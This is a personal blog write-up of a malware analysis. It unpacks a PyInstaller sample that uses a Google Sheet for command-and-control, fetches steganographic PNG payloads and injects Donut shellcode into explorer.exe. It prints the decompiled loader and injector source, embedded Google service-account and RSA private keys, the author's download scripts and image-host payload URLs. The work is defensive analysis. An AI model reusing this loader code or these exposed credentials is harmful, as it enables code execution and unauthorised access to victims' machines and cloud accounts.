Avatar
An incident responder who's seeking opportunities to work in technology company!
Operator in Cookie Han Hoan
Admin in Cyber Mely, CyberSpace
Forensic at @World Wide Flags

Malware Analysis - Real Case 7

Preface

Hi everyone, it’s been a long time that I did not post any articles in this blog because of my laziness. Currently I’m ready for Malware Analysis internship and fortunately my brother who is studying at MTA sent me a sample which is kinda interesting to practice. Now it’s all my progress so far, let’s go!

Sample: (MD5: 3d5546abea3478d7a08d4b6f6b5cf844)

Analyse

First, always check sample information:

image

It’s packed by PyInstaller, so it’s very easy that we can unpack this file by using pyinextractor-ng:

image

If you read the previous posts, you would see that I used pyinextractor instead of pyinextractor-ng. But during my progress, when I tried to unpack binary, I realised that it could not extract all files fully, there are somes that not exist when I extracted and just when I used pyinextractor-ng, all the files were extracted. Next, let’s decompile main.pyc and see its content:

from net import *
from stealth import *
from inject import *
from procfind import *
import requests, tempfile, platform

def grab_modules(url):
    data = requests.get(url)
    return data.content


def load_modules():
    arch = platform.architecture()[0]
    count = 0
    module_urls = handle_comms_setup().split(';')
    shellcode = module_urls[:3]
    explorer = module_urls[3:5]
    keybrowse = module_urls[5:]
    if '32' in arch:
        mod1 = explorer[1]
        mod2 = shellcode[2]
        mod3 = keybrowse[1]
    else:
        mod1 = explorer[0]
        mod2 = shellcode[1]
        mod3 = keybrowse[0]
    modules = [mod1, mod2, mod3]
    for i in range(0, len(modules)):
        payload_img = grab_modules(modules[i])
        payload = base64.b64decode(decodeLSB(payload_img))
        out_path = tempfile.gettempdir() + '\\mod%d.dll' % (i + 1)
        open(out_path, 'wb').write(payload)


def main():
    load_modules()
    target = get_pid('explorer.exe')
    file = tempfile.gettempdir() + '\\mod2.dll'
    shellcode = open(file, 'rb').read()
    inject(target, shellcode)


if __name__ == '__main__':
    main()

First, there were three functions: grab_modules, load_modules, main:

  • load_modules: It tried to base on architecture to create 3 DLL files.
  • grab_modules: get URL content
  • main: insert shellcode to explorer.exe process

Second, you can see that in the code there are so many weird libraries, and to create an exe from source code, we need to combine source code + all used libraries + all used DLL files. It means that when we unpack the binary, the source code of the library will be extracted too. Do the same with main.pyc, this is all files inside (data.py was extracted based on net.py):

image

Let’s start with net.py because it had so many functions inside and this was almost the mechanism of binary:

import gspread, time, random, base64, binascii
from oauth2client.service_account import ServiceAccountCredentials
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import PKCS1_OAEP
from arc4 import ARC4
import ssl
from data import *
if hasattr(ssl, '_create_unverified_context'):
    ssl._create_default_https_context = ssl._create_unverified_context

def rsa_encrypt(data):
    session_key = get_random_bytes(16)
    cipher_rsa = PKCS1_OAEP.new(RSA.import_key(config.backend_public_key))
    enc_session_key = cipher_rsa.encrypt(session_key)
    rc4 = ARC4(session_key)
    ciphertext = rc4.encrypt(data)
    return enc_session_key + ciphertext


def rsa_decrypt(data, private):
    cipher_rsa = PKCS1_OAEP.new(private)
    dec_session_key = cipher_rsa.decrypt(data[:128])
    rc4 = ARC4(dec_session_key)
    decrypted = rc4.decrypt(data[128:])
    return decrypted


def init_api():
    creds = ServiceAccountCredentials.from_json_keyfile_dict(config.json_secrets, config.scope)
    client = gspread.authorize(creds)
    sheet = client.open('MPMGA_DB').sheet1
    return sheet


def generate_local_keys():
    key = RSA.generate(1024)
    private = key
    exported_public = key.publickey().export_key('PEM')
    return (exported_public, private)


def next_available_row(sheet):
    str_list = list(filter(None, sheet.col_values(1)))
    return int(len(str_list) + 1)


def get_module_urls(sheet, public, private):
    encrypted_public = base64.b64encode(rsa_encrypt(public))
    time.sleep(random.randint(2, 20))
    row_counter = next_available_row(sheet)
    print 'Located Empty Row at %d!' % row_counter
    print 'Requesting Module URLs'
    sheet.update_cell(row_counter, 1, encrypted_public)
    while True:
        time.sleep(random.randint(10, 30))
        module_urls = sheet.cell(row_counter, 2).value
        if module_urls != '':
            break

    module_urls = rsa_decrypt(base64.b64decode(module_urls), private)
    print 'Got Module URLs from Drive: %s' % module_urls
    return module_urls


def handle_comms_setup():
    sheet_handle = init_api()
    public, private = generate_local_keys()
    return get_module_urls(sheet_handle, public, private)

In this peace of code, it tried to encrypt/decrypt using PKCS1_OAEP RSA and RC4 which publickey is taken from class config. As I told you before, I extracted data.py from net.py and inside that file it contained both publickey and privatekey:

class config:
    backend_public_key = '-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEWNlbXX1s04e+4Boc/usIIfaM\nakMJ6W3gOIxuUmo03aaLFoGBgRSgJbDXTc8G3SWHLQfWrHjM6xaKl1V5FHBQw5Hl\nyDY0c41JqiPLnHpUEC+eqKPXRXBaoX+ApWhbTAdQOwt3ziHT7d/33eVqCk4YOrF5\nSLG3uUjF4Sck5gsL2wIDAQAB\n-----END PUBLIC KEY-----'
    json_secrets = {'type': 'service_account', 
       'project_id': 'mpmga-v1', 
       'private_key_id': '170cc4b32e5dbda1be093c242dbbd74beeb5f57e', 
       'private_key': '-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOj42L8JB8xi0k\n5sF4CfwIjmPzXnv+LvFxDRTC/ICt90EmmrDLT+3qv8zHiXJm4leOF69gkpSixUKx\nJoUrzqhnPIen7KKrYz3CF5Vl0PWfNd1QVwIiqaWWTl5g2Pv5DakmzPV9LHQTWADr\nJqfD0O/bHxp+GbAdIink+neLngOrywb+pAdAS5Mf916arCF+LE0dWo9lA4T5NvDT\n/63F61MCdYcNV37jwq1LAd34HuY8w5I0Ou0c2VYny4PhE6h1ARd9tbkWbgmFRfVi\nEFp6w+1E9Pj5cDoH/Ec25huPrdmvwzrm0DHhUjhrYqqH0I/Je2OiuXB58z99nYyR\nQi5tnWl5AgMBAAECggEAE4e+LeeSecGxHgaVb1ieVF7GM4oQ9jEREgvXFTKTph81\nMUW6BpcpmyMEZS9pOjIXbi9uHRbu58735dELEV/KS2yNNQLqRIMvIS1iqkxOFP4e\nTUzUvltE9Ue2o7iQZnV0s174rRupY/TTrWgrv5d/PjwcIKUkIjULOgO2juRjW3g8\n1lws2ti1bNw5EJnP2xZYoGsJzBfc41sBN9bqOSEnc6hkUvvlXPIow+/DaAJ1l9oi\n7+imY1/Pqfh3HH0NXGFqCoZtYUVi8NiRCh28mq0Lxr2AN0+Y8u8S1kL3h8x/LfAR\n+crfZw73Rxoso4UMtRnmcU2nSTRY9BpkycAGJ4l/ywKBgQDmcpbfOS6/gRGw6L+N\nrWwIHfps40HTihi3O5fhIRgJq95eR0LVz+8/qHOKcGjtyyd81UvNBfLlTmoDAYev\nM2LVHT3NMWdqqslgBwAo/xw2N8AZ4+v+S9jFIm53NH7JEZ7VEgrHzGqZzkOSzCC1\nzoUgc4ViymVxm49K++e0v2solwKBgQDldus/5/rq5ejCa8yfguhlmpA8UoyVzo6Y\nVX4V5B93KbBhyq2W2BCVmhsrxm40VfDTk7VrJ8S/el/zZYUpwuXb6+c+uGVn6ti3\ns1GFj1W65xAFfiv0vHKXh06F2xGxGnHSuAs0qnx6uuPRfe+WzFB9WHjBHeWr/Lre\nfJf5gJmwbwKBgBrEHHn47lEX8LIXlogiKHYY5UlYbADh/VTq+w0PBve4mq9gn4au\nDB/ctO7Td5yHCCMbsx4xHrE7llybBON4mHYgW1lF77kX9SPOLFqWpvQ1LX7UVkjH\nDnp3MVVvJ3q7LTOaUN48A/WxW2/lfbcgMZ4/TLLYx0eWxeHzuEnqIcwpAoGBAM7O\nwPOV5mVy1Lb1ZTSWTVHVXg2f8KjLw2S0GLEuKtXBMwDQJGeBUGEkxTxM2OI+WpC1\n3Zo3+3D/oB7D7qJWz8fH82Bp3Kst1CisatrO9ls/CQeKUZ9/gF/lSPYHHQjbZp6d\n1SugRBRxAAa9VAQ7HIf8Bsk2YtsBKoJ/FJGAQAPtAoGAMpqSZr9nUOyM4ld5lVGH\nhcxwrR3nQFpxXcQYz2fRCsZKAgPdkcVpge4pcm1TlPVxzNZjFEvMX+V4JbyvuDYF\n432N8G5+yicWv+ILv71bI6GNXvX4Kn5nurxWbYVGeHBxU2hBi5D0BQgw71Oe/p9E\n1EOiTe/cljO3ihzuxbfNBKc=\n-----END PRIVATE KEY-----\n', 
       'client_email': 'mpmga-363@mpmga-v1.iam.gserviceaccount.com', 
       'client_id': '105843829909201329343', 
       'auth_uri': 'https://accounts.google.com/o/oauth2/auth', 
       'token_uri': 'https://oauth2.googleapis.com/token', 
       'auth_provider_x509_cert_url': 'https://www.googleapis.com/oauth2/v1/certs', 
       'client_x509_cert_url': 'https://www.googleapis.com/robot/v1/metadata/x509/mpmga-363%40mpmga-v1.iam.gserviceaccount.com'}
    scope = [
     'https://www.googleapis.com/auth/drive']

In other functions behind, it will connect Google Spreadsheet which sheet is named MPMGA_DB by applying class config and each time it will read the data in cell 2 in each row and decrypt it:

print 'Requesting Module URLs'
sheet.update_cell(row_counter, 1, encrypted_public)
while True:
    time.sleep(random.randint(10, 30))
    module_urls = sheet.cell(row_counter, 2).value
    if module_urls != '':
        break

Everything was very clear, data in column 2 would be the main thing to focus. Now just extract all datas in column 1 and 2 and decrypt it:

  • Find Spreadsheet ID:
    import gspread
    from oauth2client.service_account import ServiceAccountCredentials
      
    json_secrets = {
        'type': 'service_account',
        'project_id': 'mpmga-v1',
        'private_key_id': '170cc4b32e5dbda1be093c242dbbd74beeb5f57e',
        'private_key': '''-----BEGIN PRIVATE KEY-----
    MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOj42L8JB8xi0k
    5sF4CfwIjmPzXnv+LvFxDRTC/ICt90EmmrDLT+3qv8zHiXJm4leOF69gkpSixUKx
    JoUrzqhnPIen7KKrYz3CF5Vl0PWfNd1QVwIiqaWWTl5g2Pv5DakmzPV9LHQTWADr
    JqfD0O/bHxp+GbAdIink+neLngOrywb+pAdAS5Mf916arCF+LE0dWo9lA4T5NvDT
    /63F61MCdYcNV37jwq1LAd34HuY8w5I0Ou0c2VYny4PhE6h1ARd9tbkWbgmFRfVi
    EFp6w+1E9Pj5cDoH/Ec25huPrdmvwzrm0DHhUjhrYqqH0I/Je2OiuXB58z99nYyR
    Qi5tnWl5AgMBAAECggEAE4e+LeeSecGxHgaVb1ieVF7GM4oQ9jEREgvXFTKTph81
    MUW6BpcpmyMEZS9pOjIXbi9uHRbu58735dELEV/KS2yNNQLqRIMvIS1iqkxOFP4e
    TUzUvltE9Ue2o7iQZnV0s174rRupY/TTrWgrv5d/PjwcIKUkIjULOgO2juRjW3g8
    1lws2ti1bNw5EJnP2xZYoGsJzBfc41sBN9bqOSEnc6hkUvvlXPIow+/DaAJ1l9oi
    7+imY1/Pqfh3HH0NXGFqCoZtYUVi8NiRCh28mq0Lxr2AN0+Y8u8S1kL3h8x/LfAR
    +crfZw73Rxoso4UMtRnmcU2nSTRY9BpkycAGJ4l/ywKBgQDmcpbfOS6/gRGw6L+N
    rWwIHfps40HTihi3O5fhIRgJq95eR0LVz+8/qHOKcGjtyyd81UvNBfLlTmoDAYev
    M2LVHT3NMWdqqslgBwAo/xw2N8AZ4+v+S9jFIm53NH7JEZ7VEgrHzGqZzkOSzCC1
    zoUgc4ViymVxm49K++e0v2solwKBgQDldus/5/rq5ejCa8yfguhlmpA8UoyVzo6Y
    VX4V5B93KbBhyq2W2BCVmhsrxm40VfDTk7VrJ8S/el/zZYUpwuXb6+c+uGVn6ti3
    s1GFj1W65xAFfiv0vHKXh06F2xGxGnHSuAs0qnx6uuPRfe+WzFB9WHjBHeWr/Lre
    fJf5gJmwbwKBgBrEHHn47lEX8LIXlogiKHYY5UlYbADh/VTq+w0PBve4mq9gn4au
    DB/ctO7Td5yHCCMbsx4xHrE7llybBON4mHYgW1lF77kX9SPOLFqWpvQ1LX7UVkjH
    Dnp3MVVvJ3q7LTOaUN48A/WxW2/lfbcgMZ4/TLLYx0eWxeHzuEnqIcwpAoGBAM7O
    wPOV5mVy1Lb1ZTSWTVHVXg2f8KjLw2S0GLEuKtXBMwDQJGeBUGEkxTxM2OI+WpC1
    3Zo3+3D/oB7D7qJWz8fH82Bp3Kst1CisatrO9ls/CQeKUZ9/gF/lSPYHHQjbZp6d
    1SugRBRxAAa9VAQ7HIf8Bsk2YtsBKoJ/FJGAQAPtAoGAMpqSZr9nUOyM4ld5lVGH
    hcxwrR3nQFpxXcQYz2fRCsZKAgPdkcVpge4pcm1TlPVxzNZjFEvMX+V4JbyvuDYF
    432N8G5+yicWv+ILv71bI6GNXvX4Kn5nurxWbYVGeHBxU2hBi5D0BQgw71Oe/p9E
    1EOiTe/cljO3ihzuxbfNBKc=
    -----END PRIVATE KEY-----''',
        'client_email': 'mpmga-363@mpmga-v1.iam.gserviceaccount.com',
        'client_id': '105843829909201329343',
        'auth_uri': 'https://accounts.google.com/o/oauth2/auth',
        'token_uri': 'https://oauth2.googleapis.com/token',
        'auth_provider_x509_cert_url': 'https://www.googleapis.com/oauth2/v1/certs',
        'client_x509_cert_url': 'https://www.googleapis.com/robot/v1/metadata/x509/mpmga-363%40mpmga-v1.iam.gserviceaccount.com'
    }
      
    scope = ['https://www.googleapis.com/auth/drive', 'https://www.googleapis.com/auth/spreadsheets.readonly']
      
    credentials = ServiceAccountCredentials.from_json_keyfile_dict(json_secrets, scope)
      
    gc = gspread.authorize(credentials)
    spreadsheet = gc.open('MPMGA_DB')
    spreadsheet_id = spreadsheet.id
    print(f'Spreadsheet ID: {spreadsheet_id}')
    
  • With Spreadsheet ID, connect and extract data in column 2 and decrypt. Fortunately I found the correct module URL which was used to create 3 DLL files:

      import gspread
    from oauth2client.service_account import ServiceAccountCredentials
      
    json_secrets = {
        'type': 'service_account',
        'project_id': 'mpmga-v1',
        'private_key_id': '170cc4b32e5dbda1be093c242dbbd74beeb5f57e',
        'private_key': '''-----BEGIN PRIVATE KEY-----
    MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOj42L8JB8xi0k
    5sF4CfwIjmPzXnv+LvFxDRTC/ICt90EmmrDLT+3qv8zHiXJm4leOF69gkpSixUKx
    JoUrzqhnPIen7KKrYz3CF5Vl0PWfNd1QVwIiqaWWTl5g2Pv5DakmzPV9LHQTWADr
    JqfD0O/bHxp+GbAdIink+neLngOrywb+pAdAS5Mf916arCF+LE0dWo9lA4T5NvDT
    /63F61MCdYcNV37jwq1LAd34HuY8w5I0Ou0c2VYny4PhE6h1ARd9tbkWbgmFRfVi
    EFp6w+1E9Pj5cDoH/Ec25huPrdmvwzrm0DHhUjhrYqqH0I/Je2OiuXB58z99nYyR
    Qi5tnWl5AgMBAAECggEAE4e+LeeSecGxHgaVb1ieVF7GM4oQ9jEREgvXFTKTph81
    MUW6BpcpmyMEZS9pOjIXbi9uHRbu58735dELEV/KS2yNNQLqRIMvIS1iqkxOFP4e
    TUzUvltE9Ue2o7iQZnV0s174rRupY/TTrWgrv5d/PjwcIKUkIjULOgO2juRjW3g8
    1lws2ti1bNw5EJnP2xZYoGsJzBfc41sBN9bqOSEnc6hkUvvlXPIow+/DaAJ1l9oi
    7+imY1/Pqfh3HH0NXGFqCoZtYUVi8NiRCh28mq0Lxr2AN0+Y8u8S1kL3h8x/LfAR
    +crfZw73Rxoso4UMtRnmcU2nSTRY9BpkycAGJ4l/ywKBgQDmcpbfOS6/gRGw6L+N
    rWwIHfps40HTihi3O5fhIRgJq95eR0LVz+8/qHOKcGjtyyd81UvNBfLlTmoDAYev
    M2LVHT3NMWdqqslgBwAo/xw2N8AZ4+v+S9jFIm53NH7JEZ7VEgrHzGqZzkOSzCC1
    zoUgc4ViymVxm49K++e0v2solwKBgQDldus/5/rq5ejCa8yfguhlmpA8UoyVzo6Y
    VX4V5B93KbBhyq2W2BCVmhsrxm40VfDTk7VrJ8S/el/zZYUpwuXb6+c+uGVn6ti3
    s1GFj1W65xAFfiv0vHKXh06F2xGxGnHSuAs0qnx6uuPRfe+WzFB9WHjBHeWr/Lre
    fJf5gJmwbwKBgBrEHHn47lEX8LIXlogiKHYY5UlYbADh/VTq+w0PBve4mq9gn4au
    DB/ctO7Td5yHCCMbsx4xHrE7llybBON4mHYgW1lF77kX9SPOLFqWpvQ1LX7UVkjH
    Dnp3MVVvJ3q7LTOaUN48A/WxW2/lfbcgMZ4/TLLYx0eWxeHzuEnqIcwpAoGBAM7O
    wPOV5mVy1Lb1ZTSWTVHVXg2f8KjLw2S0GLEuKtXBMwDQJGeBUGEkxTxM2OI+WpC1
    3Zo3+3D/oB7D7qJWz8fH82Bp3Kst1CisatrO9ls/CQeKUZ9/gF/lSPYHHQjbZp6d
    1SugRBRxAAa9VAQ7HIf8Bsk2YtsBKoJ/FJGAQAPtAoGAMpqSZr9nUOyM4ld5lVGH
    hcxwrR3nQFpxXcQYz2fRCsZKAgPdkcVpge4pcm1TlPVxzNZjFEvMX+V4JbyvuDYF
    432N8G5+yicWv+ILv71bI6GNXvX4Kn5nurxWbYVGeHBxU2hBi5D0BQgw71Oe/p9E
    1EOiTe/cljO3ihzuxbfNBKc=
    -----END PRIVATE KEY-----''',
        'client_email': 'mpmga-363@mpmga-v1.iam.gserviceaccount.com',
        'client_id': '105843829909201329343',
        'auth_uri': 'https://accounts.google.com/o/oauth2/auth',
        'token_uri': 'https://oauth2.googleapis.com/token',
        'auth_provider_x509_cert_url': 'https://www.googleapis.com/oauth2/v1/certs',
        'client_x509_cert_url': 'https://www.googleapis.com/robot/v1/metadata/x509/mpmga-363%40mpmga-v1.iam.gserviceaccount.com'
    }
    scope = ['https://www.googleapis.com/auth/drive', 'https://www.googleapis.com/auth/spreadsheets.readonly']
      
    credentials = ServiceAccountCredentials.from_json_keyfile_dict(json_secrets, scope)
    gc = gspread.authorize(credentials)
    spreadsheet_id = '1wGyFMb5VvBnTaluQS8hkb8V7YzlT0l4uNiD-SK9Aq5s'
    spreadsheet = gc.open_by_key(spreadsheet_id)
    worksheet = spreadsheet.sheet1
      
    content = worksheet.get_all_values()
    for row in content:
        if row[1] != '':
            print(row[1])
    

    The script to decrypt:

    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP
    from Crypto.Cipher import ARC4
    import base64
    import requests
      
    data = base64.b64decode("r2ymFlg59kLMNKOv6EHPxMg1z0erfPZkd9sZe63UgB+JQ0cQVkk6RfSEJbX1EDMh9zgFXRDjt1LjWLW08ebkHpXCY5I2rl+Z6YVu3QR3wxa2xbICzpZjUKlnhte4VzFd4I7up9OQmiAF0nvlidz8Ix3LjjldVF7+W5r7maP3KjkQ5JWanNosnx8vHOPr/dqk0GjWJDpXWx9Qe2ypIXMVxir9o96urLcBk5ByYRvhJQMMmDGXaM1HVt+q9D/wH8isHgU25hwa7L+Qmdg3b57wKknVTiWCxPjnmMDO6+Rv+LGu6VV1HAiYHzJ3JcbwY3x0MPWoWqGFFgpAYY0XzPeQQR3hNy1CZZijtILmLr/snbdPy4h1QCCBSsUnDzN39oIBqmU6fF+Y7KL98n9XiQdfONzP5kkXvT0vaEMHAMzfhy8WToZeV1wMFiOwZFmXxXolpReAIX3v2VzK1XjEqX5dedCe9BycZQlX5SOcW/xUA0MxLcrxhMLeprrkBdP76HeSAFeSlhQoTZNUJK+3r1XqKNs=")
    private_key = """-----BEGIN RSA PRIVATE KEY-----
    MIICXAIBAAKBgQDR1l5lq8y/0DCvQYOubau0NwSvSSXnBozOFs8Q584kiFziAxPz
    hOgbcWBHW0csXdY6pQ6LMLTeWLT1DQArc0okM8h+WMhT2RBp2oH297ThUOhF/KI8
    rMyrFrn06evAqchxv1rmtuJEYyIhetmjMOjD1Ht52ii4/lbG2WPdoD2LLQIDAQAB
    AoGAH8gyfX8/MIlBqnXHklaJlG7l3n+7himbj4ZsX/DgK+/cc54IOlDVz/xE2yHz
    3oAq97Byyrm6l1fDtr78mNgqMRnRs3u6jpCG34HLacGewHtXZRgqAERvkc8f9xNJ
    WEoQG6bnoMzCzxuR5l3kJMiGKfw/2PgZXyh0xZWK0bO0kZECQQDmPYNhjWtvBtHE
    OhSd1aHrVh9fOFL3mGfLTkzCn7mXKMHM1mFeFthT7caljCHHMiFH6/RqKbpEwUeT
    MCFVugb9AkEA6VB6+ITByo1ux5p4NEUNRWabEaxqK6MQbMRCp/djgDIzzKaB0QNJ
    faGrEMMFQSwuFS6diIogZFyvz0rbSKgD8QJBAKrxLOR27TcHpyK7xKbTAF8MGErI
    NMFjxFxsDA3MLS0Ps6Pz32LOL1tRBNXQzxtoGtGdXGCeDpARuKSNbZKKhbkCQH7P
    A0c3wKx6mo9aYaLnNQNXdUjx0PLOugqj0SbByw7OOmEszrnvc24ZBIUjuiNmA9X3
    dB/WEyz5Q4UDRpQC3cECQHGXYwmLk/7ItaFYdVZbABRaZ2gmWgo+v26/Zl8eJVMJ
    ppGD/PMwMsdKPn2cMgpQMgBQXLOr788HrwLrEidnPTQ=
    -----END RSA PRIVATE KEY-----"""
      
    def grab_modules(url):
        data = requests.get(url)
        return data.content
    def rsa_decrypt(data, private):
        private_key = RSA.importKey(private)
        cipher_rsa = PKCS1_OAEP.new(private_key)
        dec_session_key = cipher_rsa.decrypt(data[:128])
        rc4 = ARC4.new(dec_session_key)
        decrypted = rc4.decrypt(data[128:])
        return decrypted
    decrypted_data = rsa_decrypt(data, private_key)
    urls = decrypted_data.decode('utf-8', errors='ignore')
    module_urls = urls.split(';')
    shellcode = module_urls[:3]
    explorer = module_urls[3:5]
    keybrowse = module_urls[5:]
    print(shellcode)
    print(explorer)
    print(keybrowse)
    

    image

Now we have some module URLs, how to retrive DLL files? Well, inside the binary, there is a library named stealth which is stealth.py:

from PIL import Image
import base64
from io import BytesIO
bitsPerChar = 8
bitsPerPixel = 3
maxBitStuffing = 2
extension = 'png'

def getLSBsFromPixels(binaryPixels):
    totalZeros = 0
    binList = []
    for binaryPixel in binaryPixels:
        for p in binaryPixel:
            if p[-1] == '0':
                totalZeros = totalZeros + 1
            else:
                totalZeros = 0
            binList.append(p[-1])
            if totalZeros == bitsPerChar:
                return binList


def decodeLSB(imageFilename):
    img_io = BytesIO()
    img_io.write(imageFilename)
    img = Image.open(img_io)
    pixels = list(img.getdata())
    binaryPixels = [list(bin(p)[2:].rjust(bitsPerChar, '0') for p in pixel) for pixel in pixels]
    binList = getLSBsFromPixels(binaryPixels)
    message = ('').join([chr(int(('').join(binList[i:i + bitsPerChar]), 2)) for i in range(0, len(binList) - bitsPerChar, bitsPerChar)])
    return message

Also in main they imported their function to process the URL:

image

Very clear, I just edited a bit and then I got full 3 DLL files:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import ARC4
import base64
import requests

data = base64.b64decode("r2ymFlg59kLMNKOv6EHPxMg1z0erfPZkd9sZe63UgB+JQ0cQVkk6RfSEJbX1EDMh9zgFXRDjt1LjWLW08ebkHpXCY5I2rl+Z6YVu3QR3wxa2xbICzpZjUKlnhte4VzFd4I7up9OQmiAF0nvlidz8Ix3LjjldVF7+W5r7maP3KjkQ5JWanNosnx8vHOPr/dqk0GjWJDpXWx9Qe2ypIXMVxir9o96urLcBk5ByYRvhJQMMmDGXaM1HVt+q9D/wH8isHgU25hwa7L+Qmdg3b57wKknVTiWCxPjnmMDO6+Rv+LGu6VV1HAiYHzJ3JcbwY3x0MPWoWqGFFgpAYY0XzPeQQR3hNy1CZZijtILmLr/snbdPy4h1QCCBSsUnDzN39oIBqmU6fF+Y7KL98n9XiQdfONzP5kkXvT0vaEMHAMzfhy8WToZeV1wMFiOwZFmXxXolpReAIX3v2VzK1XjEqX5dedCe9BycZQlX5SOcW/xUA0MxLcrxhMLeprrkBdP76HeSAFeSlhQoTZNUJK+3r1XqKNs=")

private_key = """-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDR1l5lq8y/0DCvQYOubau0NwSvSSXnBozOFs8Q584kiFziAxPz
hOgbcWBHW0csXdY6pQ6LMLTeWLT1DQArc0okM8h+WMhT2RBp2oH297ThUOhF/KI8
rMyrFrn06evAqchxv1rmtuJEYyIhetmjMOjD1Ht52ii4/lbG2WPdoD2LLQIDAQAB
AoGAH8gyfX8/MIlBqnXHklaJlG7l3n+7himbj4ZsX/DgK+/cc54IOlDVz/xE2yHz
3oAq97Byyrm6l1fDtr78mNgqMRnRs3u6jpCG34HLacGewHtXZRgqAERvkc8f9xNJ
WEoQG6bnoMzCzxuR5l3kJMiGKfw/2PgZXyh0xZWK0bO0kZECQQDmPYNhjWtvBtHE
OhSd1aHrVh9fOFL3mGfLTkzCn7mXKMHM1mFeFthT7caljCHHMiFH6/RqKbpEwUeT
MCFVugb9AkEA6VB6+ITByo1ux5p4NEUNRWabEaxqK6MQbMRCp/djgDIzzKaB0QNJ
faGrEMMFQSwuFS6diIogZFyvz0rbSKgD8QJBAKrxLOR27TcHpyK7xKbTAF8MGErI
NMFjxFxsDA3MLS0Ps6Pz32LOL1tRBNXQzxtoGtGdXGCeDpARuKSNbZKKhbkCQH7P
A0c3wKx6mo9aYaLnNQNXdUjx0PLOugqj0SbByw7OOmEszrnvc24ZBIUjuiNmA9X3
dB/WEyz5Q4UDRpQC3cECQHGXYwmLk/7ItaFYdVZbABRaZ2gmWgo+v26/Zl8eJVMJ
ppGD/PMwMsdKPn2cMgpQMgBQXLOr788HrwLrEidnPTQ=
-----END RSA PRIVATE KEY-----"""

def grab_modules(url):
    data = requests.get(url)
    return data.content

def rsa_decrypt(data, private):
    private_key = RSA.importKey(private)
    cipher_rsa = PKCS1_OAEP.new(private_key)
    dec_session_key = cipher_rsa.decrypt(data[:128])
    rc4 = ARC4.new(dec_session_key)
    decrypted = rc4.decrypt(data[128:])
    return decrypted
decrypted_data = rsa_decrypt(data, private_key)
urls = decrypted_data.decode('utf-8', errors='ignore')
module_urls = urls.split(';')
shellcode = module_urls[:3]
explorer = module_urls[3:5]
keybrowse = module_urls[5:]

mod1 = explorer[0]
mod2 = shellcode[1]
mod3 = keybrowse[0]

from PIL import Image
import base64
from io import BytesIO
bitsPerChar = 8
bitsPerPixel = 3
maxBitStuffing = 2
extension = 'png'

def getLSBsFromPixels(binaryPixels):
    totalZeros = 0
    binList = []
    for binaryPixel in binaryPixels:
        for p in binaryPixel:
            if p[-1] == '0':
                totalZeros = totalZeros + 1
            else:
                totalZeros = 0
            binList.append(p[-1])
            if totalZeros == bitsPerChar:
                return binList


def decodeLSB(imageFilename):
    img_io = BytesIO()
    img_io.write(imageFilename)
    img = Image.open(img_io)
    pixels = list(img.getdata())
    binaryPixels = [list(bin(p)[2:].rjust(bitsPerChar, '0') for p in pixel) for pixel in pixels]
    binList = getLSBsFromPixels(binaryPixels)
    message = ('').join([chr(int(('').join(binList[i:i + bitsPerChar]), 2)) for i in range(0, len(binList) - bitsPerChar, bitsPerChar)])
    return message

modules = [mod1, mod2, mod3]
for i in range(0, len(modules)):
    payload_img = grab_modules(modules[i])
    payload = base64.b64decode(decodeLSB(payload_img))
    out_path = 'C:\\Users\\Admin\\Downloads\\mod%d.dll' % (i + 1)
    open(out_path, 'wb').write(payload)

image

With 3 DLL files we got, I analysed mod2.dll first because it was called in main.py:

image

We can see that it called inject library which will insert mod2.dll to explorer.exe and mod2.dll was defined as shellcode. First, I took its MD5 sum and found it on Virustotal:

image

Virustotal mentioned that it’s the Donut shellcode, I tried to emulate it by using speakeasy but it’s timeout:

image

From here I could know that because I had been delayed by the shellcode, my speakeasy was bad like that. Fortunately I found an interesting article, they mentioned that donut would compile the program to other format so maybe it can delay my speakeasy and give us difficulties when analysing. To continue our investigation, we need to unpack the shellcode to get the exe inside. It’s very lucky that there’s a tool on Github help me do this: undonut:

image

Now just put our binary and set -recover flag to get exe inside:

image

Run speakeasy again, now I can see many things from mod2.dll, especially it will call mod1.dll:

image

Continue with mod1.dll, quickly use speakeasy:

image

You can see that there are so many weird register keys which were written to the system. Do the same with mod3.dll and we can see that they called many APIs and interact with temp folder where mod1.dll was running, so from here I could note that mod1.dll would connect with mod3.dll:

image

IOCs

Dropped files:

  • mod1.dll (MD5: 172f09dcc19dad4f837319d21539dbab)
  • mod2.dll (MD5: 344d726472bf00ef1ffbb27533122fe1)
  • mod3.dll (MD5: 8f7b7edb77d9154cee60545d37c86321)

URLs:

  • https://i.ibb.co/8js9r82/img-x7005.png
  • https://i.ibb.co/s1fZCGw/img-x6656.png
  • https://i.ibb.co/Brx2zHk/img-x6432.png
  • https://i.ibb.co/gV3BN8D/img-x8613.png
  • https://i.ibb.co/mvj9fB5/img-x7449.png
  • https://i.ibb.co/dK4fPsQ/img-x6222.png
  • https://i.ibb.co/SmQP2z4/img-x5589.png

This is all my progress so far. This is just a my small preparation for upcoming internship but it is still very interesting to try. Last words, thank you very much for reading my articles. See you in the next post, bye 🫀🫀🫀

all tags